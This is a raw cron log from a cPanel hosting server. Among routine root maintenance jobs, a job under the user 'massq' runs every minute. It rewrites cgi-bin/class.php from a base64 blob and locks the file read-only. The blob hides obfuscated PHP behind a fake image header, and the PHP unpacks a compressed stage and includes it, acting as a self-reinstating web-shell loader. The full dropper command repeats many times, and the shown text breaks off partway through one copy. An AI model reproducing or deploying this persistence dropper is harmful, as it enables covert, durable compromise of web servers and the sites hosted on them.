Sep  4 06:15:01 server CROND[17400]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:15:01 server CROND[17403]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 06:15:01 server CROND[17404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:15:01 server CROND[17407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:15:01 server CROND[17409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:15:01 server CROND[17408]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 06:15:01 server CROND[17412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:15:01 server CROND[17410]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  4 06:15:01 server CROND[17406]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 06:16:01 server CROND[18401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:16:01 server CROND[18400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:16:01 server CROND[18402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:17:01 server CROND[18813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:17:01 server CROND[18814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:17:01 server CROND[18815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:18:01 server CROND[19195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:18:01 server CROND[19196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:18:01 server CROND[19197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:19:01 server CROND[19577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:19:01 server CROND[19576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:19:01 server CROND[19578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:20:01 server CROND[19953]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:20:01 server CROND[19952]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 06:20:01 server CROND[19956]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 06:20:01 server CROND[19962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:20:01 server CROND[19964]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 06:20:01 server CROND[19961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:20:01 server CROND[19963]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:20:01 server CROND[19960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:20:01 server CROND[19959]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 06:21:01 server CROND[20889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:21:01 server CROND[20890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:21:01 server CROND[20891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:22:01 server CROND[21253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:22:01 server CROND[21255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:22:01 server CROND[21254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:23:01 server CROND[21619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:23:01 server CROND[21618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:23:01 server CROND[21620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:24:01 server CROND[21980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:24:01 server CROND[21981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:24:01 server CROND[21982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:25:01 server CROND[22354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:25:01 server CROND[22356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:25:01 server CROND[22362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:25:01 server CROND[22360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:25:01 server CROND[22361]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 06:25:01 server CROND[22357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:25:01 server CROND[22358]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 06:25:01 server CROND[22359]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 06:26:01 server CROND[23469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:26:01 server CROND[23470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:26:01 server CROND[23471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5S